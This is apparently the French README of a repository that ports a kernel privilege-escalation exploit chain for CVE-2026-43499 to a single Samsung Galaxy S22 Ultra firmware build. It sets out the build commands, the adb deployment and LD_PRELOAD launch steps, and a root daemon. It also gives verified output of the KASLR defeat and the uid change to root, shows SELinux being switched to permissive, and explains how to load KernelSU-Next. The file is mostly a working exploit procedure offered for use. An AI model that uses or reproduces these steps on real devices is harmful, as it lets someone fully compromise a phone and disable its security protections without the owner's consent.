
Chaîne d'exploitation complète de CVE-2026-43499 pour Samsung Galaxy S22 Ultra (kernel Android 5.10)
https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
Ce dépôt contient un portage spécifique à l'appareil de l'exploit CVE-2026-43499 pour le Samsung Galaxy S22 Ultra (SM-S908W).
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
Les offsets et les dispositions des structures de ce dépôt sont spécifiques au firmware ci-dessus. Les autres modèles et versions de firmware ne sont pas pris en charge par ce profil de cible.
Ce portage est basé sur l'implémentation de l'exploit publiée dans :
b850d3bddc74c3328d5fbcc0568d21962b55d949Remerciements particuliers à :
La licence Apache 2.0 d'origine est conservée dans LICENSE.
b0q / S908WVLS8FYG7 (src/targets/S908WVLS8FYG7/target.h) et des structures du noyau.exp32 : chorégraphie futex, marquage de pile 32 bits et sched_setattr exécutés dans un sous-processus 32 bits intégré (src/exp32/).system_unbound_wq compatible KDP et mise à jour de la cible d'application SELinux au runtime vers selinux_state.enforcing./data/local/tmp/cve-2026-43499-root.cve43499-hold après le succès
afin que les références noyau pendantes ne puissent pas être recyclées dans des objets slab sans rapport.Définissez ANDROID_NDK_HOME sur Android NDK r27+ ou une toolchain compatible, puis exécutez :
make PROJECT=S908WVLS8FYG7 clean preload root-helper
Pour compiler pour un environnement QEMU exécutant le noyau Android avec un système de fichiers Buildroot :
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
Sorties :
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
Exécutez l'étape de l'exploit pour démarrer le démon root :
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Une fois réussi, ouvrez un shell root interactif depuis n'importe où sur l'appareil :
adb shell "/data/local/tmp/cve-2026-43499-root"
Ou exécutez directement des commandes root :
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
L'exécution par défaut effectue jusqu'à 16 tentatives indépendantes. Chaque processus enfant qui échoue se termine
avant la tentative suivante, afin que ses descripteurs de fichiers et ses allocations de mise en forme du tas
soient libérés au lieu de s'accumuler dans un processus d'exploit de longue durée.
Le délai de base par défaut est de 20000 microsecondes et le superviseur parcourt la
séquence suivante deux fois :
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
Remplacez le nombre de tentatives ou le délai de base lors de la collecte de données de synchronisation :
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Résultat vérifié sur S908WVLS8FYG7 :
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
Session de shell root interactive :
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
L'étape initiale est basée sur une course (race). Un enfant qui se termine avec root=0
est automatiquement réessayé. Une exécution réussie restaure ashmem_misc.fops, bascule SELinux en permissif,
et démarre le démon d'assistance root jusqu'au prochain redémarrage.
L'exploit ci-dessus ne conserve le root que pour le démarrage en cours. Pour obtenir une application Manager et un contrôle de type su pour le reste de la session, chargez KernelSU-Next comme module noyau à chargement tardif via l'assistant root.
Téléchargez les deux fichiers de la version depuis v3.3.0-android12-5.10 :
KernelSU_Next_v3.3.0-release.apk — application Managerkernelsu-android12-5.10.ko — module noyau LKMInstallez l'APK Manager :
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot.Comme il s'agit d'un LKM chargé tardivement (et non d'une image de démarrage patchée), il ne survit pas à un redémarrage — vous devrez relancer l'exploit et refaire un insmod du module à chaque redémarrage de l'appareil.
[!WARNING] Avis de fiabilité et de panique noyau : L'étape de course est sensible au timing et actuellement peu fiable — elle peut échouer ou provoquer une panique noyau dans la plupart des exécutions. Soyez patient, car les démarrages propres offrent un taux de réussite plus élevé. Des optimisations futures pourraient être publiées pour améliorer la fiabilité.
[!TIP] Recommandations pour la stabilité et le taux de réussite :
- Redémarrez l'appareil : Pour un taux de réussite maximal, redémarrez l'appareil avant d'exécuter l'exploit afin de garantir un état propre du slab/tas.
- Fermez les applications en arrière-plan : Assurez-vous que toutes les applications en arrière-plan sont fermées.
- Déverrouillez l'écran et restez inactif : Gardez l'appareil déverrouillé et n'interagissez pas avec le téléphone pendant que l'exploit s'exécute, car les saisies utilisateur actives ou les tâches en arrière-plan peuvent perturber le timing et potentiellement déclencher une panique noyau.
À utiliser uniquement sur des appareils vous appartenant ou pour lesquels vous êtes explicitement autorisé à effectuer des tests.